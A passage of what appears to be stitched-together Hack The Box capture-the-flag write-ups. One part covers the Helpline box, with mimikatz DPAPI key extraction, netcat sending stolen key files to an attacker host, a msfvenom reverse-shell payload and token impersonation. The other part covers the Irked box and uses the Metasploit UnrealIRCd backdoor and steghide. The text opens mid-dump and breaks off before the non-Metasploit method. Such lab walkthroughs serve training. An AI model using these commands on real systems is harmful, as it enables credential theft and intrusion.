b354b10ddeb628974ad787f792a9b2564741b1ca8538de0647ab945e25aec233b247ca228111bcdafeed17f032d7277507934895b07197e8331451cd9eff35681afc625741ff13ee1daac61e16bea787ad2b3901a52d29c75c33a31d7993ed92a70d2196109d59b817f
e6471f24540f59c95d082556d05333201a4f54c71db4d135308c5339ecf8c63258a73e71d86b7ec0f3d71b8103de2d4b886b51f9994eb2f8a62c9bb444f8e1c19096085d4a67a9a16a9b74bb2d74c0298e499260dcdedd2d1cf94ed1f2e2bf1c4a194f79a3ff1bfb17c
6a
    dwSignLen          : 00000040 - 64
    pbSign             : b3854af7c1faaa30806aa909e65813225a9aede7b0705c4c186d080ced4883b22e9a06acfb1d7762b1c69e368dcecd0de3a7e8b8f112e61cd9231ad5c5eef596                                                         

  pExExportFlag      :
  **BLOB**
    dwVersion          : 00000001 - 1
    guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    dwMasterKeyVersion : 00000001 - 1
    guidMasterKey      : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
    dwFlags            : 00000000 - 0 ()
    dwDescriptionLen   : 00000018 - 24
    szDescription      : Export Flag
    algCrypt           : 00006610 - 26128 (CALG_AES_256)
    dwAlgCryptLen      : 00000100 - 256
    dwSaltLen          : 00000020 - 32
    pbSalt             : 61af1a324f58c63a6bb3767357892b8c95d9a9a0dea6da062322afc39734c72a
    dwHmacKeyLen       : 00000000 - 0
    pbHmackKey         :
    algHash            : 0000800e - 32782 (CALG_SHA_512)
    dwAlgHashLen       : 00000200 - 512
    dwHmac2KeyLen      : 00000020 - 32
    pbHmack2Key        : ee6cef3310951fa86aba9b0bc3b23c237d23fbac008175bf670b68b73899e983
    dwDataLen          : 00000010 - 16
    pbData             : 3766e1ec88316997e9aeb13d847c396e
    dwSignLen          : 00000040 - 64
    pbSign             : 1d17141018652ad326ebd1a9c3030feb1356fede8002391d9fbba2d5c75221e654aef732841a04638f5577b59e63c8037ed26c7e4f6d1ed34a6244c33e631800                                                         


mimikatz # dpapi::masterkey /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-1011\2f452fc5-c6d2-4706-a4f7-1cd6b891c017" /password:!zaq1234567890pl!99                
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
  dwFlags            : 00000005 - 5
  dwMasterKeyLen     : 000000b0 - 176
  dwBackupKeyLen     : 00000090 - 144
  dwCredHistLen      : 00000014 - 20
  dwDomainKeyLen     : 00000000 - 0
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 80ba00dd649b0237d847b3c30d155a36
    rounds           : 00001f40 - 8000
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : 9dd4c16fe8fc2375858f5fdc643770d26bd55c48fec169c28d901820ebe28ea0d6845d2867e3a2bb3b763108da7fb69b5203d8a73ffb22b44d21949150546a0387e2a7d05a18b877f06d0dfe8baf89fc4029070bd5f0a5ac9cbe2379dda7facf6a2455ed8dae4dacd51b981b147ebddf12da71d4b22d675925ed576d92247aac8a39eb5080607382ecf2c3e9ea92ce2f

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : bce3d5c5463ff84017a1f9eabfb4b9ea
    rounds           : 00001f40 - 8000
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : 6d4e0478c22d0a52f7bc66249a0c6a7071991300dd122c4bee0aa31b72273938f336a44d08a15a2effcb2e5787069ab153e666dcd518b7af23e168577f56739f68c42e057508d7d5ffb16bf18d9e720873e644152d461d83356f500f4b8efbbcc9ee073a718134111f8b2708bf0f1645

[credhist]
  **CREDHIST INFO**
    dwVersion        : 00000003 - 3
    guid             : {0cc50e66-d2f0-43dc-97a5-5edac908aef9}


Auto SID from path seems to be: S-1-5-21-3107372852-1132949149-763516304-1011

[masterkey] with password: !zaq1234567890pl!99 (normal user)
  key : 1d0cea3fd8c42574c1a286e3938e6038d3ed370969317fb413b339f8699dcbf7f563b42b72ef45b394c61f73cc90c62076ea847f4c1e1fee3947f381d56d0f02                                                                          
  sha1: 8ece5985210c26ecf3dd9c53a38fc58478100ccb

mimikatz # dpapi::capi /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85" /masterkey:8ece5985210c26ecf3dd9c53a38fc58478100ccb            
**KEY (capi)**
  dwVersion          : 00000002 - 2
  dwUniqueNameLen    : 00000025 - 37
  dwSiPublicKeyLen   : 00000000 - 0
  dwSiPrivateKeyLen  : 00000000 - 0
  dwExPublicKeyLen   : 0000011c - 284
  dwExPrivateKeyLen  : 00000650 - 1616
  dwHashLen          : 00000014 - 20
  dwSiExportFlagLen  : 00000000 - 0
  dwExExportFlagLen  : 000000fc - 252
  pUniqueName        : e65e6804-f9cd-4a35-b3c9-c3a72a162e4d
  pHash              : 0000000000000000000000000000000000000000     
  pSiPublicKey       :    
  pSiPrivateKey      :    
  pSiExportFlag      :                        
  pExPublicKey       : 525341310801000000080000ff0000000100010031c3db401c7b5d3713443127af3f97dbe03b6cbcccb3df5be3581cdf50f2f45adec256b7c2b95af46aad7cdbe23308333b30c43d5baeda431a237d75f03a81aa713fae3cd9ef63637543
62f219c555d7feb1b7423f9d55a9cd2b8b4a559abcc2f349e707cfd966bba3cf70ab2dc663153598b33491a4492542d8ee2e0845aefa860ebe0d284b4ac32045053f7f167c7e4fbdc75bf53287dd598682dfffcd17dac3e550b3897bdb1a82c55809a124de231dfdd0e
51d19fa1bf7d748e524919dabdb427297dcc79eef2110c90bd44ebbdd720d4d69183b8691969fef65f1e19cebb8441da32f82ed4ba773b95666742a4650ef0ceece54d73130ed1a19c3bb61b60000000000000000                                          
  pExPrivateKey      :
  
  **BLOB**
    dwVersion          : 00000001 - 1
    guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    dwMasterKeyVersion : 00000001 - 1
    guidMasterKey      : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
    dwFlags            : 00000000 - 0 ()
    dwDescriptionLen   : 0000002c - 44
    szDescription      : CryptoAPI Private Key
    algCrypt           : 00006610 - 26128 (CALG_AES_256)
    dwAlgCryptLen      : 00000100 - 256
    dwSaltLen          : 00000020 - 32
    pbSalt             : d05086dc4a0e8c37b26b9298d6e507a07e6b01495c8e874636d6555909860bfc
    dwHmacKeyLen       : 00000000 - 0
    pbHmackKey         :
    algHash            : 0000800e - 32782 (CALG_SHA_512)
    dwAlgHashLen       : 00000200 - 512
    dwHmac2KeyLen      : 00000020 - 32
    pbHmack2Key        : b7a581f4205455a35c32cf2bae9d3be3fd90990ae6f63c417e9c5a06084d04f1
    dwDataLen          : 00000550 - 1360
    pbData             : 0dd1b5843b4e6da999ab982ff7bef727bd63f11eb222fd81420d24e0dc8a8c03910ddca26dba324e943a5357776530618f14c74382062047acb3f35debdb8f885a283c3644542dde4aa1175ac9d7a23e014bb92d85c2f51dd8eb6d0007
a2f4ca83df25b59f32794c2a4e227e526cd2d5f4a222ca9c14be15e62982107d91865a3e0fc04708144aa7fe7f7baf0c5a7b99c18f96e82c1f01dc8b41df64b51befd3a978a9d47a72246ceadfda631d09be350a4d3bf1301fba7e1b6c6e0c40bf95ce9e154f79cbef2
6d7a3c00d538e490132954d4ee94619dcdaf75e64676c89e89317d4668fe4b942a7bc21371efa3adf08152dabdf0d16e608cda6bdcca193771d736e19505e51f6e972ef5da070b0023e740dd96893d0458da1994f72aa3bc6846218e4634d4a199f698dcce5d2a96c68
8bb20d8138ac743fbff1a43934bbdcff40145ebc815edaf5080d63656236aba75261d7fe0b915e393912d8fe731bb4ab232f88553918c17d95f81605fb24bb9a7527e2eda01fc088e653ce99d58143a74595d47169cf58a2308e128e3956c0c4e225b1dfa0cd8cf030$
b670977c3b62b30bd09846e993779c4471cbd0682dc9bf038bfb8daf8286c0fd4fbcdcf135cb48dc38f0d34342a0116aef4211104657c20db578d9b21b2dbe2505bccc86a48b343f0f9df63482562f86f4015e6dc327a209684049188251506a8f39ae8946a9cdec43$
bb71e7d4fac63f33932dd0bd52fa5ffd48ff11c415e856a496252378fb19c456c3e191a19621c292654af48228906eac7ae5717a77a2c616e194ea9189e77cfa0252da0180fe128fa9f3a0cd826f7530dc03428e6ecbbc7ae7bffe0ce2780b3ba686c3d73f3da55af6$
65fec2c22cbb119a698c5bbbed802d3a31fb44e395606adb58e0b0e2030910281dbeeb76bddebf2ae6862633f839324cb72a9c05a7d24acc3cdad9648be0e816039581d4eb3ddefdc1457d3175b5c776ca445bd409038b6369fa9151f6ee88ab44e9d64b40ecd09e89$
7e2b36e51c44f93bc5a985c13cc0f8d31aad776167b027c28a09943580d848af506c68a400ed93734dbe579a84837a90c6fd60d338e9e981599086da725d7e6c87f89f9a59979672a8b74c704e848fc6cac786e49a3b7f310b2839d67652a9ae3018ce6aca06f6e60b$
bcf526f859a618b32b7b112088eefccf69e873e1d62a20b416203a2428d08abe22518eecfe0a5115a82efb21d467854444b15db49e82c4442aaa045fdf4ea725295da78d14082c9140b6ea6356039b48e53fb7eb8d3ea21713c346d6ff381aaf709c5e83e7d0c5e330f
f7374caccf6312f8f36afc041fcfd89a7e93d453393c991c3887d6b98179cc254172dfd4a09c968a25dab0b53df6f38c6b22e9352d0920789920659b1cb55c61f74bccb63fc397e0997f896e55efbaf200629dd399584f1675ebe588b025ee4160387aa3a5a3239899c
75a97eddbf5dc1dbf4defb894091c851f73413e2da6d7a39e23481dcda7857311a2816d720c0da057952e2d4218b2f4f735469cc4d15324de94b7036fb072afdb708929363934351feecc27c0c81206cafaa7bd5748456799cb528773cafc4b6f6fa25c6bc617b537ac
b354b10ddeb628974ad787f792a9b2564741b1ca8538de0647ab945e25aec233b247ca228111bcdafeed17f032d7277507934895b07197e8331451cd9eff35681afc625741ff13ee1daac61e16bea787ad2b3901a52d29c75c33a31d7993ed92a70d2196109d59b817f
e6471f24540f59c95d082556d05333201a4f54c71db4d135308c5339ecf8c63258a73e71d86b7ec0f3d71b8103de2d4b886b51f9994eb2f8a62c9bb444f8e1c19096085d4a67a9a16a9b74bb2d74c0298e499260dcdedd2d1cf94ed1f2e2bf1c4a194f79a3ff1bfb17c
6a
    dwSignLen          : 00000040 - 64
    pbSign             : b3854af7c1faaa30806aa909e65813225a9aede7b0705c4c186d080ced4883b22e9a06acfb1d7762b1c69e368dcecd0de3a7e8b8f112e61cd9231ad5c5eef596

  pExExportFlag      :
  **BLOB**
    dwVersion          : 00000001 - 1
    guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    dwMasterKeyVersion : 00000001 - 1
    guidMasterKey      : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
    dwFlags            : 00000000 - 0 ()
    dwDescriptionLen   : 00000018 - 24
    szDescription      : Export Flag
    algCrypt           : 00006610 - 26128 (CALG_AES_256)
    dwAlgCryptLen      : 00000100 - 256
    dwSaltLen          : 00000020 - 32
    pbSalt             : 61af1a324f58c63a6bb3767357892b8c95d9a9a0dea6da062322afc39734c72a
    dwHmacKeyLen       : 00000000 - 0
    pbHmackKey         :
    algHash            : 0000800e - 32782 (CALG_SHA_512)
    dwAlgHashLen       : 00000200 - 512
    dwHmac2KeyLen      : 00000020 - 32
    pbHmack2Key        : ee6cef3310951fa86aba9b0bc3b23c237d23fbac008175bf670b68b73899e983
    dwDataLen          : 00000010 - 16
    pbData             : 3766e1ec88316997e9aeb13d847c396e
    dwSignLen          : 00000040 - 64
    pbSign             : 1d17141018652ad326ebd1a9c3030feb1356fede8002391d9fbba2d5c75221e654aef732841a04638f5577b59e63c8037ed26c7e4f6d1ed34a6244c33e631800

Decrypting AT_EXCHANGE Export flags:
 * volatile cache: GUID:{2f452fc5-c6d2-4706-a4f7-1cd6b891c017};KeyHash:8ece5985210c26ecf3dd9c53a38fc58478100ccb                                                                                                   
 * masterkey     : 8ece5985210c26ecf3dd9c53a38fc58478100ccb
01000000
Decrypting AT_EXCHANGE Private Key:
 * volatile cache: GUID:{2f452fc5-c6d2-4706-a4f7-1cd6b891c017};KeyHash:8ece5985210c26ecf3dd9c53a38fc58478100ccb                                                                                                   
 * masterkey     : 8ece5985210c26ecf3dd9c53a38fc58478100ccb
525341320801000000080000ff0000000100010031c3db401c7b5d3713443127af3f97dbe03b6cbcccb3df5be3581cdf50f2f45adec256b7c2b95af46aad7cdbe23308333b30c43d5baeda431a237d75f03a81aa713fae3cd9ef6363754362f219c555d7feb1b7423f9
d55a9cd2b8b4a559abcc2f349e707cfd966bba3cf70ab2dc663153598b33491a4492542d8ee2e0845aefa860ebe0d284b4ac32045053f7f167c7e4fbdc75bf53287dd598682dfffcd17dac3e550b3897bdb1a82c55809a124de231dfdd0e51d19fa1bf7d748e524919d
abdb427297dcc79eef2110c90bd44ebbdd720d4d69183b8691969fef65f1e19cebb8441da32f82ed4ba773b95666742a4650ef0ceece54d73130ed1a19c3bb61b600000000000000006b686e241f8ac960bd719549bd40384959b682321394b15dd99070665bb0b3177
4d9a149b5b097b7ab965763e5592eeae40896efd89c92ef20519b995ac65c9258a8973e021efb6255514a42e5af7aa7ad028349c8ba92b61e2cb52ea740f15cdabf14f23f1aea32b3ab47c4ce72be3920314e8096fda33dd978fee18c79fde000000000d3d94b2498e1
0b913cc5c026ee19c672eaafe6eab8bb92b5c45b22be438d469a197a08b0ce230a926bf2418256c8397d5630de1ff89275cd1fa2ed1170b3408e697a505b61262a44db96763a532322a2cc070520af4f4539c4f44754513932481b76bd5765a7196cac8bf9fe9fad0d7
4460ece6677a99096b565705cc3de84cf00000000ff61d229009652074adf5045582172ff5638b61254e044b4714eb7f7261c019415a30c6e8bd1fa1d1fbc1ef0620394594d83ab2796416b80acb40ca77d7cccc1eca5eef9c6e0892e144defb31f6f3b20a69201485e
7058d72851f697307898c3957a3bb0bf0e65f1beb40b182c66627138fe5c264231d16d013bac509b9c937d00000000c7fc63389c2c563d9c380fc70de0774025d8f4a7ee15dd8c69de0ae2e5a8f881f939ade966c736ef7188374a9730ddfc99f5791d59ca8de461fbb
44a5326a29aee91d5f0eb903eb9ede3a76b03df9929b2afec0766e7dca2f4b25f4e370d95759db76a89c42812ba2c1a670a6727d8424f62c344f87dbf0b2686959335811e0e00000000505ecc240eefef332854553feabb019fa075baa1148953d142582f82d6cf1fc0
72267bd574d0d665dfafb8c9be8afd434f2250a840c6a0f80be883c70dafea4b6a1a23c29534a49188fa9c1c7df45788da79ced400db29799a057938fa3059f1ded01cbb8635dc3579ded3e9c16fc2d4bb7085ddda143c16657e24c2876c88bc00000000e1f11d6633a
644709fa252d8614531d2e8da61fc078ae8bfd91ce60582c914873d9dc6825bdd453d00594e3e286f1b843dd7154a8a67378272b2fce204162c87cb80320bd8a7e31bf646ee6b54635a4242abddef81876be6d33d9ffa356fb306c364c902ba52a43d9776d9c88d8de4
fcf11fea675cc8c1a1dcc79da2e3ec931f8fe342fecef6c883649e86cfda7d34cc01e0a128424df5d3a6f17dbea80983a6b4e14cb19c5a039b290bcdfe4c48dce945985f1c9d3464fec51b26b59d8ceacb52f5030d322566de54d42806900343b47d03ba31f67b60495
73ededc194c1be20f2a02700dc25de6e18b26d1dcc7b189c1822e6d2370c1ecc8af73e924000f2c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
        Exportable key : YES
        Key size       : 2048
        Private export : OK - 'raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk'

I used nc to transfer the der and pvk files to my box :

C:\Windows\System32\spool\drivers\color>nc.exe -w 3 10.10.xx.xx 1440 < 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der
nc.exe -w 3 10.10.xx.xx 1440 < 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der

C:\Windows\System32\spool\drivers\color>nc.exe -w 3 10.10.xx.xx 1440 < raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk        
nc.exe -w 3 10.10.xx.xx 1440 < raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk

C:\Windows\System32\spool\drivers\color>
root@kali:~/Desktop/HTB/boxes/helpline/tolu# nc -lp 1440 > 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der 
root@kali:~/Desktop/HTB/boxes/helpline/tolu# ls -la                                                                    
total 12
drwxr-xr-x 2 root root 4096 Aug 16 16:50 .
drwxr-xr-x 6 root root 4096 Aug 16 16:50 ..
-rw-r--r-- 1 root root  765 Aug 16 16:50 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der
root@kali:~/Desktop/HTB/boxes/helpline/tolu# nc -lp 1440 > raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk                                                             
root@kali:~/Desktop/HTB/boxes/helpline/tolu# ls -la                                         
total 16
drwxr-xr-x 2 root root 4096 Aug 16 16:51 .
drwxr-xr-x 6 root root 4096 Aug 16 16:50 ..
-rw-r--r-- 1 root root  765 Aug 16 16:50 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der
-rw-r--r-- 1 root root 1196 Aug 16 16:51 raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk

Then I created the pfx with openssl :

root@kali:~/Desktop/HTB/boxes/helpline/tolu# openssl x509 -inform DER -outform PEM -in 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der -out public.pem
root@kali:~/Desktop/HTB/boxes/helpline/tolu# openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk -out private.pem
writing RSA key
root@kali:~/Desktop/HTB/boxes/helpline/tolu# openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

And finally I imported it and I was able to read the flag : 
I found later that I could also use Invoke-Command as tolu and I would be able to read the flag,

*Evil-WinRM* PS C:\Users\tolu\Desktop> $username = "Helpline\tolu"
*Evil-WinRM* PS C:\Users\tolu\Desktop> $password = "!zaq1234567890pl!99"
*Evil-WinRM* PS C:\Users\tolu\Desktop> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
*Evil-WinRM* PS C:\Users\tolu\Desktop> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
*Evil-WinRM* PS C:\Users\tolu\Desktop> Invoke-Command -ComputerName HELPLINE -Credential $credential -Authentication credssp -ScriptBlock { type C:\Users\tolu\Desktop\user.txt }
0d5*****8d3

We got user.


root.txt

There was a file called admin-pass.xml in C:\Users\leo\Desktop

C:\Users\leo\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D258-5C3B

 Directory of C:\Users\leo\Desktop

01/15/2019  01:21 AM    <DIR>          .
01/15/2019  01:21 AM    <DIR>          ..
01/15/2019  01:18 AM               526 admin-pass.xml
               1 File(s)            526 bytes
               2 Dir(s)   5,850,574,848 bytes free

C:\Users\leo\Desktop>type admin-pass.xml
type admin-pass.xml
Access is denied.

Only leo can read it. leo's hash was uncrackable so I looked for other ways to be leo. I wanted to see if I can impersonate leo’s token so I created a metasploit payload and got a meterpreter session.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=1441 -f exe > m.exe

And yes, I could impersonate leo’s token :

meterpreter > load incognito 
Loading extension incognito...Success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
HELPLINE\leo
HELPLINE\tolu
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1

Impersonation Tokens Available
========================================
No tokens available

meterpreter > impersonate_token 'HELPLINE\leo'
[+] Delegation token available
[+] Successfully impersonated user HELPLINE\leo
meterpreter > shell -t 
Process 5344 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\System32\spool\drivers\color>whoami
whoami
helpline\leo

C:\Windows\System32\spool\drivers\color>

Now we can read admin-pass.xml :

C:\Windows\System32\spool\drivers\color>cd c:\users\leo\desktop
cd c:\users\leo\desktop

c:\Users\leo\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D258-5C3B

 Directory of c:\Users\leo\Desktop

01/15/2019  01:21 AM    <DIR>          .
01/15/2019  01:21 AM    <DIR>          ..
01/15/2019  01:18 AM               526 admin-pass.xml
               1 File(s)            526 bytes
               2 Dir(s)   5,719,506,944 bytes free

c:\Users\leo\Desktop>type admin-pass.xml
type admin-pass.xml
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000020000000000106600000001000020000000c2d2dd6646fb78feb6f7920ed36b0ade40efeaec6b090556fe6efb52a7e847cc000000000e8000000002000020000000c41d656142bd869ea7eeae22fc00f0f707ebd676a7f5fe04a0d0932dffac3f48300000006cbf505e52b6e132a07de261042bcdca80d0d12ce7e8e60022ff8d9bc042a437a1c49aa0c7943c58e802d1c758fc5dd340000000c4a81c4415883f937970216c5d91acbf80def08ad70a02b061ec88c9bb4ecd14301828044fefc3415f5e128cfb389cbe8968feb8785914070e8aebd6504afcaa

c:\Users\leo\Desktop>

I used Invoke-Command again and used Get-Content to read admin-pass.xml instead of putting the password in a variable.

c:\Users\leo\Desktop>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\leo\Desktop> $username = "Helpline\Administrator"
$username = "Helpline\Administrator"
PS C:\Users\leo\Desktop> $password = "admin-pass.xml"
$password = "admin-pass.xml"
PS C:\Users\leo\Desktop> $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $username, (Get-Content $password | ConvertTo-SecureString)
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $username, (Get-Content $password | ConvertTo-SecureString)
PS C:\Users\leo\Desktop> Invoke-Command -ComputerName HELPLINE -Credential $credential -Authentication credssp -ScriptBlock {type C:\Users\Administrator\Desktop\root.txt}
Invoke-Command -ComputerName HELPLINE -Credential $credential -Authentication credssp -ScriptBlock {type C:\Users\Administrator\Desktop\root.txt}
d81*****a2c

We owned root !
Credits to : https://0xrick.github.io/hack-the-box/helpline/

Alternative way from windows:

Instead of using the VPN on Windows we can use IP forwarding on linux. First on linux,

root@kali:~/htb# sudo sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
root@kali:~/htb# /sbin/iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
root@kali:~/htb# /sbin/iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT

Change eth0 to your VM connected interface. Now on windows, execute the command:

C:\WINDOWS\system32>route add 10.10.10.0/24 192.168.1.21
OK!

Now we should be able to ping all the hackthebox boxxes from Windows.

C:\WINDOWS\system32>ping helpline

Pinging helpline [10.10.10.132] with 32 bytes of data:
Reply from 10.10.10.132: bytes=32 time=22ms TTL=126
Reply from 10.10.10.132: bytes=32 time=22ms TTL=126
Reply from 10.10.10.132: bytes=32 time=22ms TTL=126
Reply from 10.10.10.132: bytes=32 time=22ms TTL=126

Ping statistics for 10.10.10.132:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 22ms, Maximum = 22ms, Average = 22ms

According to this blog post the group Event Log Readers gives non-admin users access to System logs. We can use this to our advantage if we can find any sensitive information in the logs. The security logs could contain potential user information. We can export such logs using
wevtutil utility.

However, we are denied access. This is due to the kerberos double hop problem. We can overcome this by using CredSSP authentication. For this we need to configure a Windows VM.
To enable CredSSP authentication on Windows 10, the following steps are performed.

    •  Edit C:\Windows\System32\drivers\etc\hosts, adding the IP address for
      
      helpline
    •  Start the "Windows Remote Management (WS-Management)" service if it isn't already using Powershell type “Enable-PSRemoting -Force”.
      
      -
    •  From an elevated PowerShell console, run
PS C:\WINDOWS\system32> Enable-WSManCredSSP -Role "Client" -DelegateComputer "*"

CredSSP Authentication Configuration for WS-Management
CredSSP authentication allows the user credentials on this computer to be sent to a remote computer. If you use CredSSP
 authentication for a connection to a malicious or compromised computer, that computer will have access to your user
name and password. For more information, see the Enable-WSManCredSSP Help topic.
Do you want to enable CredSSP authentication?
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y

cfg         : http://schemas.microsoft.com/wbem/wsman/1/config/client/auth
lang        : en-GB
Basic       : true
Digest      : true
Kerberos    : true
Negotiate   : true
Certificate : true
CredSSP     : true
  • Open gpedit.msc with administrative privileges, and navigate through to :
    
    Computer Configuration > Administrative Templates > System > Credentials
    
    Delegation > Allow Delegating Fresh Credentials with NTLM only server
    
    authentication.
    
    Click "Show..." and add WSMAN/*
    
    Click OK to save changes and exit out

We should now be able to login as alice using credssp authentication.

PS C:\Users\jacco> $pass = ConvertTo-SecureString '$sys4ops@megabank!' -AsPlainText -Force
PS C:\Users\jacco> $cred = new-object System.Management.Automation.PSCredential( 'alice' , $pass)
PS C:\Users\jacco> $session = New-PSSession -ComputerName 10.10.10.132 -Credential $cred -Authentication Credssp
PS C:\Users\jacco> Enter-PSSession $session
[10.10.10.132]: PS C:\Users\alice\Documents> whoami
helpline\alice

Author Jacco Straathof

HTB – Irked

Today we are going to solve another CTF challenge “irked”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Easy

Task: To find user.txt and root.txt file

Note: Since these labs are online available, therefore, they have a static IP. The IP of irked is 10.10.10.117

Scanning

Let’s start off with our basic Nmap command to find out the open ports and services.

root@kali:~/htb# nmap -p- -sV 10.10.10.117 --open
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-04 05:49 EDT
Nmap scan report for 10.10.10.117
Host is up (0.027s latency).
Not shown: 65427 closed ports, 101 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
34772/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.89 seconds

Enumeration

I tried to extract hidden information with the help of steghide, but we need to find the passphrase for that.

root@kali:~/htb# steghide extract -sf irked.jpg
Enter passphrase:

Exploiting

Fortunately, I found an exploit for unrealircd in Metasploit, although the default port for ircd is 6667, it runs on 6697 here. I pwned the victim machine successfully after running the module.

msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.10.117
rhosts => 10.10.10.117
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 6697
rport => 6697
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.14.5
lhost => 10.10.14.5
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 10.10.14.5:4444 
[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697...
:irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:6697 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo jt9flkHuSYLifEoc;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "jt9flkHuSYLifEoc\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.5:4444 -> 10.10.10.117:34526) at 2019-09-04 05:07:52 -0400

python -c 'import pty;pty.spawn("/bin/bash")'
ircd@irked:~/Unreal3.2$ cd /home
cd /home
ircd@irked:/home$ 
ircd@irked:/home$ ls
ls
djmardov ircd
ircd@irked:/home$ 
ircd@irked:/home$ cd djmardov/Documents
ircd@irked:/home/djmardov/Documents$ ls -la
ls -la
total 16
drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 .
drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 2018 ..
-rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup
-rw------- 1 djmardov djmardov 33 May 15 2018 user.txt
ircd@irked:/home/djmardov/Documents$ 
ircd@irked:/home/djmardov/Documents$ cat .backup
cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
root@kali:~/htb# curl http://10.10.10.117
<img src=irked.jpg>
<br>
<b><center>IRC is almost working!</b></center>
root@kali:~/htb# curl http://10.10.10.117/irked.jpg -o irked.jpg
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 34697 100 34697 0 0 491k 0 --:--:-- --:--:-- --:--:-- 491k
root@kali:~/htb# steghide extract -sf irked.jpg
Enter passphrase: UPupDOWNdownLRlrBAbaSSss
wrote extracted data to "pass.txt".
root@kali:~/htb# cat pass.txt
Kab6h+m+bbp2J:HG
I found another password from the inside pass.txt file “Kab6h+m+bbp2J: HG.”
Without Metasploit:

